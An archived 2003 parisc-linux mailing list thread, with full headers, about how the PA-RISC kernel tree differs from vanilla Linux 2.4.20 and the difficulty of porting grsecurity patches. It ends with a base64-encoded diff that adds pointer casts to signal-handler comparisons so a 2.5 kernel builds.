List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18211

On Tue, Apr 08, 2003 at 06:53:06PM +0200, Alexander Gabert wrote:
> can you tell me the exact difference between:
> www.kernel.org - linux-2.4.20
> www.parisc-linux.org - parisc-linux-kernel-2.4.20-pa32

a huge patch.

> if there is no technical reason in keeping those kernel devels apart,
> why is it done?

because they're serving different needs.

> it is important for me to get a working mainstream vanilla kernel.org.
> i heard that this kernel does not even boot...

it doesn't even compile.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 8 Apr 2003 18:08:39 +0100
Lines: 26
Approved: news@gmane.org
Message-ID: <20030408170839.GC23430@parcelfarce.linux.theplanet.co.uk>
References: <20030408165306.GA15433@nikita.ath.cx> <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk> <20030408170612.GA15497@nikita.ath.cx>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622372 24513 80.91.229.3 (22 Nov 2014 02:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:52 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Alexander Gabert <pappy@nikita.ath.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 11:08:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 84E294829
	for <parisc-linux@parisc-linux.org>; Tue,  8 Apr 2003 11:08:40 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 192waN-0001HU-FS; Tue, 08 Apr 2003 18:08:39 +0100
Content-Disposition: inline
In-Reply-To: <20030408170612.GA15497@nikita.ath.cx>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18212

On Tue, Apr 08, 2003 at 07:06:12PM +0200, Alexander Gabert wrote:
> i am asking because of www.grsecurity.net
> 
> i am tired defeating hunks they are putting in because they
> work in arch/parisc on the vanilla kernel.org kernel.
> 
> can't you talk to them and convince them to use "our" parisc-linux image
> for the grsecurity parisc patches in the future?

perhaps you should talk to them.  tell them to work against the patches
in http://www.kernel.org/linux/kernel/ports/parisc/v2.4/

> if it would only be a matter of months when both kernels merge, it would
> not be necessary.
> but i don`t want to spend my time messing with patches when i can do
> better things ...

bits and pieces are being merged from the parisc tree into marcelo's tree,
but it's just not worth fighting to get this stuff merged.  we're mostly
merged for 2.5 and i'd rather spend my time working on that.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alexander Gabert <pappy@nikita.ath.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 8 Apr 2003 19:06:12 +0200
Lines: 56
Approved: news@gmane.org
Message-ID: <20030408170612.GA15497@nikita.ath.cx>
References: <20030408165306.GA15433@nikita.ath.cx> <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622372 24516 80.91.229.3 (22 Nov 2014 02:12:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:52 +0000 (UTC)
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 11:08:47 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id F36C54829
	for <parisc-linux@parisc-linux.org>; Tue,  8 Apr 2003 11:08:46 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 192waU-0001Hk-9i
	for parisc-linux@parisc-linux.org; Tue, 08 Apr 2003 18:08:46 +0100
Original-Received: from master.debian.org ([65.125.64.135] ident=mail)
	by www.linux.org.uk with esmtp (Exim 4.14)
	id 192wXI-0001FM-5b
	for willy@ftp.uk.linux.org; Tue, 08 Apr 2003 18:05:28 +0100
Original-Received: from mailout06.sul.t-online.com [194.25.134.19] 
	by master.debian.org with esmtp (Exim 3.12 1 (Debian))
	id 192wXG-0003ne-00; Tue, 08 Apr 2003 12:05:27 -0500
Original-Received: from fwd00.sul.t-online.de 
	by mailout06.sul.t-online.com with smtp 
	id 192wXF-0007Z4-01; Tue, 08 Apr 2003 19:05:25 +0200
Original-Received: from nikita.ath.cx (510056047278-0001@[217.89.2.187]) by fmrl00.sul.t-online.com
	with esmtp id 192wWs-03aSZ6C; Tue, 8 Apr 2003 19:05:02 +0200
Original-Received: from nikita.ath.cx (localhost [127.0.0.1])
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) with ESMTP id h38H6F0H015521
	for <willy@debian.org>; Tue, 8 Apr 2003 19:06:17 +0200
Original-Received: (from pappy@localhost)
	by nikita.ath.cx (8.12.3/8.12.3/Debian-5) id h38H6CAF015519
	for willy@debian.org; Tue, 8 Apr 2003 19:06:12 +0200
Content-Disposition: inline
In-Reply-To: <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Sender: 510056047278-0001@t-dialin.net
Resent-From: willy@parcelfarce.linux.theplanet.co.uk
Resent-Date: Tue, 8 Apr 2003 18:08:46 +0100
Resent-To: parisc-linux@parisc-linux.org
Resent-Message-Id: <E192waU-0001Hk-9i@www.linux.org.uk>
Resent-Sender: <willy@www.linux.org.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18213

i am asking because of www.grsecurity.net

i am tired defeating hunks they are putting in because they
work in arch/parisc on the vanilla kernel.org kernel.

can't you talk to them and convince them to use "our" parisc-linux image
for the grsecurity parisc patches in the future?

the PaX pageexec folks are also hanging in there...

it would be very good to have a working security hardening patch for
parisc-linux.  at least one.

if it would only be a matter of months when both kernels merge, it would
not be necessary.
but i don`t want to spend my time messing with patches when i can do
better things ...

thank you,

bye,


Alex

On Tue, Apr 08, 2003 at 05:58:25PM +0100, Matthew Wilcox wrote:
> On Tue, Apr 08, 2003 at 06:53:06PM +0200, Alexander Gabert wrote:
> > can you tell me the exact difference between:
> > www.kernel.org - linux-2.4.20
> > www.parisc-linux.org - parisc-linux-kernel-2.4.20-pa32
> 
> a huge patch.
> 
> > if there is no technical reason in keeping those kernel devels apart,
> > why is it done?
> 
> because they're serving different needs.
> 
> > it is important for me to get a working mainstream vanilla kernel.org.
> > i heard that this kernel does not even boot...
> 
> it doesn't even compile.
> 
> -- 
> "It's not Hollywood.  War is real, war is primarily not about defeat or
> victory, it is about death.  I've seen thousands and thousands of dead bodies.
> Do you think I want to have an academic debate on this subject?" -- Robert Fisk

-- 
"... an experienced, industrious, ambitious, and often quite often
picturesque liar."
                -- Mark Twain

pub  1024/05E1A80C 2001/12/16 Alexander Gabert (http://nikita.ath.cx) <pappy@nikita.ath.cx>
          Key fingerprint =  2D 84 B0 CB F5 67 8A 22  8D 37 6E 6B 8A 3B 7F D6  05 E1 A8 0C


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Tue, 8 Apr 2003 23:49:29 -0600
Lines: 22
Approved: news@gmane.org
Message-ID: <20030409054929.GB21306@dsl2.external.hp.com>
References: <20030408165306.GA15433@nikita.ath.cx> <20030408165825.GB23430@parcelfarce.linux.theplanet.co.uk> <20030408170612.GA15497@nikita.ath.cx> <20030408170839.GC23430@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622373 24521 80.91.229.3 (22 Nov 2014 02:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:53 +0000 (UTC)
Cc: Alexander Gabert <pappy@nikita.ath.cx>,
	parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  8 23:49:29 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 4AFC94829; Tue,  8 Apr 2003 23:49:29 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20030408170839.GC23430@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18214

On Tue, Apr 08, 2003 at 06:08:39PM +0100, Matthew Wilcox wrote:
> bits and pieces are being merged from the parisc tree into marcelo's tree,
> but it's just not worth fighting to get this stuff merged.

If anyone is interested in "fighting" to merge the outstanding
parisc linux changes, I can help a bit. I just don't have as much time
these days...hopefully more this summer.

To willy's credit, he's attempted to merge 2.4 parisc changes upstream
at least twice but was torpedo'd both times.

> we're mostly
> merged for 2.5 and i'd rather spend my time working on that.

me too - I'd rather see you working on something you care about.
I'm very happy to see you (and several others) taking good care of 2.5.
And I think it's a bit much for anyone to do both - that's mostly why I
*haven't* been doing much with 2.5.

thanks,
grant


From - Thu Nov 08 21:27:27 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Berthold Gunreben" <b.gunreben@web.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] parisc-linux.org kernel
Date: Wed, 9 Apr 2003 09:36:55 +0200
Organization: http://freemail.web.de/
Lines: 173
Approved: news@gmane.org
Message-ID: <200304090736.h397asq19152@mailgate5.cinetic.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="STEFAN3e93cd963d63"
X-Trace: ger.gmane.org 1416622373 24524 80.91.229.3 (22 Nov 2014 02:12:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:12:53 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Apr  9 01:37:01 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mailgate5.cinetic.de (mailgate5.cinetic.de [217.72.192.165])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9473D4829
	for <parisc-linux@parisc-linux.org>; Wed,  9 Apr 2003 01:37:00 -0600 (MDT)
Original-Received: from web.de (fmomail02.dlan.cinetic.de [172.20.1.46])
	by mailgate5.cinetic.de (8.11.6p2/8.11.2/SuSE Linux 8.11.0-0.4) with SMTP id h397asq19152
	for parisc-linux@parisc-linux.org; Wed, 9 Apr 2003 09:36:55 +0200
Precedence: fm-user
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18215

This is a MIME encoded message.
--STEFAN3e93cd963d63
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit

grundler@dsl2.external.hp.com (Grant Grundler) schrieb am 09.04.03 07:50:28:  
> me too - I'd rather see you working on something you care about.  
> I'm very happy to see you (and several others) taking good care of 2.5.  
> And I think it's a bit much for anyone to do both - that's mostly why I  
> *haven't* been doing much with 2.5.  
  
Speaking of 2.5, I now have a running kernel 2.5.66-pa2 compiled with gcc version 3.3  
20030226 (prerelease). To be able to boot, I had to remove EISA support. There are some  
minor flaws like  
  
process `host' is using obsolete setsockopt SO_BSDCOMPAT  
  
lines in dmesg, but the system is up and running for 5 days now. I'll attach the small  
diff with signal casts, that was necessary to run the kernel. 
  
Berthold  
______________________________________________________________________________
UNICEF bittet um Spenden fur die Kinder im Irak! Hier online an
UNICEF spenden: https://spenden.web.de/unicef/special/?mc=021101
--STEFAN3e93cd963d63
Content-Type: text/x-diff; name="sig_cast.diff"
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="sig_cast.diff"

LS0tIGFyY2gvcGFyaXNjL2tlcm5lbC9zaWduYWwuYwkyMDAzLzA0LzAzIDA5OjQ3OjQ1CTEu
MQorKysgYXJjaC9wYXJpc2Mva2VybmVsL3NpZ25hbC5jCTIwMDMvMDQvMDMgMDk6NTI6MjkK
QEAgLTM3Nyw3ICszNzcsNyBAQAogZ2l2ZV9zaWdzZWd2OgogCURCRygoInNldHVwX3J0X2Zy
YW1lIHNlbmRpbmcgU0lHU0VHVlxuIikpOwogCWlmIChzaWcgPT0gU0lHU0VHVikKLQkJa2Et
PnNhLnNhX2hhbmRsZXIgPSBTSUdfREZMOworCQlrYS0+c2Euc2FfaGFuZGxlciA9ICh2b2lk
ICopIFNJR19ERkw7CiAJc2kuc2lfc2lnbm8gPSBTSUdTRUdWOwogCXNpLnNpX2Vycm5vID0g
MDsKIAlzaS5zaV9jb2RlID0gU0lfS0VSTkVMOwpAQCAtNDA2LDcgKzQwNiw3IEBACiAJCXJl
dHVybiAwOwogCiAJaWYgKGthLT5zYS5zYV9mbGFncyAmIFNBX09ORVNIT1QpCi0JCWthLT5z
YS5zYV9oYW5kbGVyID0gU0lHX0RGTDsKKwkJa2EtPnNhLnNhX2hhbmRsZXIgPSAodm9pZCAq
KSBTSUdfREZMOwogCiAJaWYgKCEoa2EtPnNhLnNhX2ZsYWdzICYgU0FfTk9ERUZFUikpIHsK
IAkJc3Bpbl9sb2NrX2lycSgmY3VycmVudC0+c2lnaGFuZC0+c2lnbG9jayk7Ci0tLSBkcml2
ZXJzL2NoYXIvbl90dHkuYwkyMDAzLzA0LzAzIDA5OjQ3OjUzCTEuMQorKysgZHJpdmVycy9j
aGFyL25fdHR5LmMJMjAwMy8wNC8wMyAwOTo1Mjo1NgpAQCAtODA4LDcgKzgwOCw3IEBACiBp
bnQgaXNfaWdub3JlZChpbnQgc2lnKQogewogCXJldHVybiAoc2lnaXNtZW1iZXIoJmN1cnJl
bnQtPmJsb2NrZWQsIHNpZykgfHwKLQkgICAgICAgIGN1cnJlbnQtPnNpZ2hhbmQtPmFjdGlv
bltzaWctMV0uc2Euc2FfaGFuZGxlciA9PSBTSUdfSUdOKTsKKwkgICAgICAgIGN1cnJlbnQt
PnNpZ2hhbmQtPmFjdGlvbltzaWctMV0uc2Euc2FfaGFuZGxlciA9PSAodm9pZCAqKSBTSUdf
SUdOKTsKIH0KIAogc3RhdGljIHZvaWQgbl90dHlfc2V0X3Rlcm1pb3Moc3RydWN0IHR0eV9z
dHJ1Y3QgKnR0eSwgc3RydWN0IHRlcm1pb3MgKiBvbGQpCi0tLSBmcy9uY3Bmcy9zb2NrLmMJ
MjAwMy8wNC8wMyAwOTo0ODowMgkxLjEKKysrIGZzL25jcGZzL3NvY2suYwkyMDAzLzA0LzAz
IDA5OjUzOjI5CkBAIC03NTcsOSArNzU3LDkgQEAKIAkJCSAgIFdoYXQgaWYgd2UndmUgYmxv
Y2tlZCBpdCBvdXJzZWx2ZXM/ICBXaGF0IGFib3V0CiAJCQkgICBhbGFybXM/ICBXaHksIGlu
IGZhY3QsIGFyZSB3ZSBtdWNraW5nIHdpdGggdGhlCiAJCQkgICBzaWdtYXNrIGF0IGFsbD8g
LS0gcn4gKi8KLQkJCWlmIChjdXJyZW50LT5zaWdoYW5kLT5hY3Rpb25bU0lHSU5UIC0gMV0u
c2Euc2FfaGFuZGxlciA9PSBTSUdfREZMKQorCQkJaWYgKGN1cnJlbnQtPnNpZ2hhbmQtPmFj
dGlvbltTSUdJTlQgLSAxXS5zYS5zYV9oYW5kbGVyID09ICh2b2lkICopIFNJR19ERkwpCiAJ
CQkJbWFzayB8PSBzaWdtYXNrKFNJR0lOVCk7Ci0JCQlpZiAoY3VycmVudC0+c2lnaGFuZC0+
YWN0aW9uW1NJR1FVSVQgLSAxXS5zYS5zYV9oYW5kbGVyID09IFNJR19ERkwpCisJCQlpZiAo
Y3VycmVudC0+c2lnaGFuZC0+YWN0aW9uW1NJR1FVSVQgLSAxXS5zYS5zYV9oYW5kbGVyID09
ICh2b2lkICopIFNJR19ERkwpCiAJCQkJbWFzayB8PSBzaWdtYXNrKFNJR1FVSVQpOwogCQl9
CiAJCXNpZ2luaXRzZXRpbnYoJmN1cnJlbnQtPmJsb2NrZWQsIG1hc2spOwotLS0gZnMvcHJv
Yy9hcnJheS5jCTIwMDMvMDQvMDMgMDk6NDg6MTUJMS4xCisrKyBmcy9wcm9jL2FycmF5LmMJ
MjAwMy8wNC8wMyAwOTo1NDoyNgpAQCAtMjEzLDkgKzIxMyw5IEBACiAKIAlrID0gcC0+c2ln
aGFuZC0+YWN0aW9uOwogCWZvciAoaSA9IDE7IGkgPD0gX05TSUc7ICsraSwgKytrKSB7Ci0J
CWlmIChrLT5zYS5zYV9oYW5kbGVyID09IFNJR19JR04pCisJCWlmIChrLT5zYS5zYV9oYW5k
bGVyID09ICh2b2lkICopIFNJR19JR04pCiAJCQlzaWdhZGRzZXQoaWduLCBpKTsKLQkJZWxz
ZSBpZiAoay0+c2Euc2FfaGFuZGxlciAhPSBTSUdfREZMKQorCQllbHNlIGlmIChrLT5zYS5z
YV9oYW5kbGVyICE9ICh2b2lkICopIFNJR19ERkwpCiAJCQlzaWdhZGRzZXQoY2F0Y2gsIGkp
OwogCX0KIH0KLS0tIGtlcm5lbC9zaWduYWwuYwkyMDAzLzA0LzAzIDA5OjQ4OjIzCTEuMQor
Kysga2VybmVsL3NpZ25hbC5jCTIwMDMvMDQvMDMgMDk6NTY6MTkKQEAgLTEzOSwxMiArMTM5
LDEyIEBACiAJCSgoKHNpZykgPCBTSUdSVE1JTikgICYmIFQoc2lnLCBTSUdfS0VSTkVMX1NU
T1BfTUFTSykpCiAKICNkZWZpbmUgc2lnX3VzZXJfZGVmaW5lZCh0LCBzaWducikgXAotCSgo
KHQpLT5zaWdoYW5kLT5hY3Rpb25bKHNpZ25yKS0xXS5zYS5zYV9oYW5kbGVyICE9IFNJR19E
RkwpICYmCVwKLQkgKCh0KS0+c2lnaGFuZC0+YWN0aW9uWyhzaWduciktMV0uc2Euc2FfaGFu
ZGxlciAhPSBTSUdfSUdOKSkKKwkoKCh0KS0+c2lnaGFuZC0+YWN0aW9uWyhzaWduciktMV0u
c2Euc2FfaGFuZGxlciAhPSAodm9pZCAqKSBTSUdfREZMKSAmJglcCisJICgodCktPnNpZ2hh
bmQtPmFjdGlvblsoc2lnbnIpLTFdLnNhLnNhX2hhbmRsZXIgIT0gKHZvaWQgKikgU0lHX0lH
TikpCiAKICNkZWZpbmUgc2lnX2ZhdGFsKHQsIHNpZ25yKSBcCiAJKCFUKHNpZ25yLCBTSUdf
S0VSTkVMX0lHTk9SRV9NQVNLfFNJR19LRVJORUxfU1RPUF9NQVNLKSAmJiBcCi0JICh0KS0+
c2lnaGFuZC0+YWN0aW9uWyhzaWduciktMV0uc2Euc2FfaGFuZGxlciA9PSBTSUdfREZMKQor
CSAodCktPnNpZ2hhbmQtPmFjdGlvblsoc2lnbnIpLTFdLnNhLnNhX2hhbmRsZXIgPT0gKHZv
aWQgKikgU0lHX0RGTCkKIAogc3RhdGljIGlubGluZSBpbnQgc2lnX2lnbm9yZWQoc3RydWN0
IHRhc2tfc3RydWN0ICp0LCBpbnQgc2lnKQogewpAQCAtMTY2LDggKzE2Niw4IEBACiAKIAkv
KiBJcyBpdCBleHBsaWNpdGx5IG9yIGltcGxpY2l0bHkgaWdub3JlZD8gKi8KIAloYW5kbGVy
ID0gdC0+c2lnaGFuZC0+YWN0aW9uW3NpZy0xXS5zYS5zYV9oYW5kbGVyOwotCXJldHVybiAg
IGhhbmRsZXIgPT0gU0lHX0lHTiB8fAotCQkoaGFuZGxlciA9PSBTSUdfREZMICYmIHNpZ19r
ZXJuZWxfaWdub3JlKHNpZykpOworCXJldHVybiAgIGhhbmRsZXIgPT0gKHZvaWQgKikgU0lH
X0lHTiB8fAorCQkoaGFuZGxlciA9PSAodm9pZCAqKSBTSUdfREZMICYmIHNpZ19rZXJuZWxf
aWdub3JlKHNpZykpOwogfQogCiAvKgpAQCAtMzYxLDggKzM2MSw4IEBACiAJaW50IGk7CiAJ
c3RydWN0IGtfc2lnYWN0aW9uICprYSA9ICZ0LT5zaWdoYW5kLT5hY3Rpb25bMF07CiAJZm9y
IChpID0gX05TSUcgOyBpICE9IDAgOyBpLS0pIHsKLQkJaWYgKGZvcmNlX2RlZmF1bHQgfHwg
a2EtPnNhLnNhX2hhbmRsZXIgIT0gU0lHX0lHTikKLQkJCWthLT5zYS5zYV9oYW5kbGVyID0g
U0lHX0RGTDsKKwkJaWYgKGZvcmNlX2RlZmF1bHQgfHwga2EtPnNhLnNhX2hhbmRsZXIgIT0g
KHZvaWQgKikgU0lHX0lHTikKKwkJCWthLT5zYS5zYV9oYW5kbGVyID0gKHZvaWQgKikgU0lH
X0RGTDsKIAkJa2EtPnNhLnNhX2ZsYWdzID0gMDsKIAkJc2lnZW1wdHlzZXQoJmthLT5zYS5z
YV9tYXNrKTsKIAkJa2ErKzsKQEAgLTc5Niw4ICs3OTYsOCBAQAogCWludCByZXQ7CiAKIAlz
cGluX2xvY2tfaXJxc2F2ZSgmdC0+c2lnaGFuZC0+c2lnbG9jaywgZmxhZ3MpOwotCWlmICh0
LT5zaWdoYW5kLT5hY3Rpb25bc2lnLTFdLnNhLnNhX2hhbmRsZXIgPT0gU0lHX0lHTikKLQkJ
dC0+c2lnaGFuZC0+YWN0aW9uW3NpZy0xXS5zYS5zYV9oYW5kbGVyID0gU0lHX0RGTDsKKwlp
ZiAodC0+c2lnaGFuZC0+YWN0aW9uW3NpZy0xXS5zYS5zYV9oYW5kbGVyID09ICh2b2lkICop
IFNJR19JR04pCisJCXQtPnNpZ2hhbmQtPmFjdGlvbltzaWctMV0uc2Euc2FfaGFuZGxlciA9
ICh2b2lkICopIFNJR19ERkw7CiAJc2lnZGVsc2V0KCZ0LT5ibG9ja2VkLCBzaWcpOwogCXJl
Y2FsY19zaWdwZW5kaW5nX3Rzayh0KTsKIAlyZXQgPSBzcGVjaWZpY19zZW5kX3NpZ19pbmZv
KHNpZywgaW5mbywgdCk7CkBAIC04MTIsOCArODEyLDggQEAKIAl1bnNpZ25lZCBsb25nIGlu
dCBmbGFnczsKIAogCXNwaW5fbG9ja19pcnFzYXZlKCZ0LT5zaWdoYW5kLT5zaWdsb2NrLCBm
bGFncyk7Ci0JaWYgKHQtPnNpZ2hhbmQtPmFjdGlvbltzaWctMV0uc2Euc2FfaGFuZGxlciA9
PSBTSUdfSUdOKQotCQl0LT5zaWdoYW5kLT5hY3Rpb25bc2lnLTFdLnNhLnNhX2hhbmRsZXIg
PSBTSUdfREZMOworCWlmICh0LT5zaWdoYW5kLT5hY3Rpb25bc2lnLTFdLnNhLnNhX2hhbmRs
ZXIgPT0gKHZvaWQgKikgU0lHX0lHTikKKwkJdC0+c2lnaGFuZC0+YWN0aW9uW3NpZy0xXS5z
YS5zYV9oYW5kbGVyID0gKHZvaWQgKikgU0lHX0RGTDsKIAlzaWdkZWxzZXQoJnQtPmJsb2Nr
ZWQsIHNpZyk7CiAJcmVjYWxjX3NpZ3BlbmRpbmdfdHNrKHQpOwogCXNwZWNpZmljX3NlbmRf
c2lnX2luZm8oc2lnLCAodm9pZCAqKTIsIHQpOwpAQCAtMTI2Nyw3ICsxMjY3LDcgQEAKIAlw
c2lnID0gdHNrLT5wYXJlbnQtPnNpZ2hhbmQ7CiAJc3Bpbl9sb2NrX2lycXNhdmUoJnBzaWct
PnNpZ2xvY2ssIGZsYWdzKTsKIAlpZiAoc2lnID09IFNJR0NITEQgJiYgdHNrLT5zdGF0ZSAh
PSBUQVNLX1NUT1BQRUQgJiYKLQkgICAgKHBzaWctPmFjdGlvbltTSUdDSExELTFdLnNhLnNh
X2hhbmRsZXIgPT0gU0lHX0lHTiB8fAorCSAgICAocHNpZy0+YWN0aW9uW1NJR0NITEQtMV0u
c2Euc2FfaGFuZGxlciA9PSAodm9pZCAqKSBTSUdfSUdOIHx8CiAJICAgICAocHNpZy0+YWN0
aW9uW1NJR0NITEQtMV0uc2Euc2FfZmxhZ3MgJiBTQV9OT0NMRFdBSVQpKSkgewogCQkvKgog
CQkgKiBXZSBhcmUgZXhpdGluZyBhbmQgb3VyIHBhcmVudCBkb2Vzbid0IGNhcmUuICBQT1NJ
WC4xCkBAIC0xMjg1LDcgKzEyODUsNyBAQAogCQkgKiBpdCwganVzdCB1c2UgU0lHX0lHTiBp
bnN0ZWFkKS4KIAkJICovCiAJCXRzay0+ZXhpdF9zaWduYWwgPSAtMTsKLQkJaWYgKHBzaWct
PmFjdGlvbltTSUdDSExELTFdLnNhLnNhX2hhbmRsZXIgPT0gU0lHX0lHTikKKwkJaWYgKHBz
aWctPmFjdGlvbltTSUdDSExELTFdLnNhLnNhX2hhbmRsZXIgPT0gKHZvaWQgKikgU0lHX0lH
TikKIAkJCXNpZyA9IDA7CiAJfQogCWlmIChzaWcgPiAwICYmIHNpZyA8PSBfTlNJRykKQEAg
